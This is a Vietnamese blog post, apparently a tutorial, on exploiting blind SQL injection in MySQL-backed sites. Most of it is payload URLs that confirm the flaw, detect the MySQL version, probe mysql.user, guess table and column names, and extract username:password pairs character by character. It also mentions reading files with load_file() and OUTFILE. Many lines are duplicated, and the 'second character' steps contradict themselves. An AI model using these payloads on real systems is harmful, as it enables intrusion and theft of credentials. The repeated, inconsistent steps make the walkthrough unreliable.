1. Phát hiện lỗi “blind sql injection”:
- Đối với MY SQL vesion 4 trở xuống để xác định xem nó có bị dinh lỗi blind sql injection ko ta hãy thử thêm vào 1 điều kiện đúng. Ví dụ như:
http://www.company.com/pressRelease.jsp?pressID=5 AND 1=1
nếu ta vẫn được trả về vị trí của http://www.company.com/pressRelease.jsp?pressID=5 thì có nghĩa là nó đã dính lỗi
- Đối với MY SQL vesion 4 trở xuống để xác định xem nó có bị dinh lỗi blind sql injection ko ta hãy thử thêm vào 1 điều kiện đúng. Ví dụ như:
http://www.company.com/pressRelease.jsp?pressID=5 AND 1=1
nếu ta vẫn được trả về vị trí của http://www.company.com/pressRelease.jsp?pressID=5 thì có nghĩa là nó đã dính lỗi
2. Khai thác:
VD:http://www.site.com/news.php?id=5
Ta tiến hành kiếm version bằng cách sử dụng hàm cắt chuỗi Substring() VD: Substring(‘mmdVBF’,5,3) kết quả sẽ là neo
http://www.site.com/news.php?id=5 and substring(version(),1,1)=4
http://www.site.com/news.php?id=5 and substring(version(),1,1)=4
Trang sẽ hiện thị bình thường nếu kết quả truy vấn trên đúng , nếu vậy phiên bản của Mysql này là 4.xxx.x còn nếu không chúng ta thay 4 thành 5 để kiểm tra tiếp
http://www.site.com/news.php?id=5 and substring(@@version,1,1)=5
http://www.site.com/news.php?id=5 and (select 1)=1
nếu site tải thông thường thì subselects làm việc.
sau đó chúng ta sẽ xem liệu chúng ta có thể truy cập mysql.user
sau đó chúng ta sẽ xem liệu chúng ta có thể truy cập mysql.user
http://www.site.com/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1
nếu tải trang thông thường chúng ta có thể truy cập để mysql.user và sau đó, chúng ta có thể kéo một số password usign load_file() function and OUTFILE.
kiểm tra table và column:
Đây là một phần khi đoán:
http://www.site.com/news.php?id=5 and (select 1 from users limit 0,1)=1
(sử dụng limit 0,1 truy vấn ở đây của chúng ta trả về 1 hàng của dữ liệu, gây ra subselect trả về chỉ 1 hàng, điều này là rất quan trọng.)
sau đó nếu trang tải bình thường mà không có nội dung thiếu, thì table users tồn tại
nếu bạn get FALSE (một số điều còn thiếu), hãy thay đổi table_name cho đén khi đoán đúng
bây giờ chúng ta có table name là users, nên giờ chúng ta cần column name.
Giống như tên bảng, chúng ta bắt đầu đoán. Giống như tôi đã nói trước khi thử các tên gọi thông thường cho các cột.
sau đó nếu trang tải bình thường mà không có nội dung thiếu, thì table users tồn tại
nếu bạn get FALSE (một số điều còn thiếu), hãy thay đổi table_name cho đén khi đoán đúng
bây giờ chúng ta có table name là users, nên giờ chúng ta cần column name.
Giống như tên bảng, chúng ta bắt đầu đoán. Giống như tôi đã nói trước khi thử các tên gọi thông thường cho các cột.
http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1
nếu trang tải bình thường, chúng ta biết rằng tên cột là password (nếu chúng ta sai thì thử tên gọi thông thường hoặc chỉ đoán)
ở đây chúng ta hợp nhất 1 cột password, sau đó trả về chuỗi ký tự đầu tiên (1,1)
ở đây chúng ta hợp nhất 1 cột password, sau đó trả về chuỗi ký tự đầu tiên (1,1)
lấy dữ liệu từ cơ sở dữ liệu
chúng tôi tìm thấy người sử dụng bảng, cột: username, password . vì vậy chúng ta sẽ get các characters từ đó.
chúng tôi tìm thấy người sử dụng bảng, cột: username, password . vì vậy chúng ta sẽ get các characters từ đó.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80
ok này ở đây get ký tự đầu tiên: user ,trong table users.
substring ở đây trả về character đầu tiên và 1 character trong length. ascii() converts mà 1 character vào giá trị ascii .
và sau đó so sánh nó với simbol lớn hơn sau đó>.
vì vậy nếu char ascii lớn hơn 80 sau đó, tải trang web bình thường. (TRUE)
chúng ta tiếp tục cố gắng cho đến khi chúng ta nhận được sai.
substring ở đây trả về character đầu tiên và 1 character trong length. ascii() converts mà 1 character vào giá trị ascii .
và sau đó so sánh nó với simbol lớn hơn sau đó>.
vì vậy nếu char ascii lớn hơn 80 sau đó, tải trang web bình thường. (TRUE)
chúng ta tiếp tục cố gắng cho đến khi chúng ta nhận được sai.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95
chúng ta nhận được TRUE, giữ incrementing
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98
TRUE một lần nữa, cao hơn:
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99
FALSE!!!
do đó, ký tự đầu tiên trong tên username là char (99). Sử dụng bộ chuyển đổi ascii, chúng ta biết rằng char (99) là chữ ‘c’.
sau đó cho phép kiểm tra các character thứ hai.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99
do đó, ký tự đầu tiên trong tên username là char (99). Sử dụng bộ chuyển đổi ascii, chúng ta biết rằng char (99) là chữ ‘c’.
sau đó cho phép kiểm tra các character thứ hai.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99
Lưu ý rằng tôi thay đổi, 1,1, 2,1 để có được những characte thứ hai. (bây giờ nó trả về characte thứ hai, 1 characte lenght)
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99
TRUE, trang tải bình thường, cao hơn.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107
FALSE, thấp hơn số lượng.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104
TRUE, cao hơn.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105
FALSE!!!
FALSE!!!
0 nhận xét:
Đăng nhận xét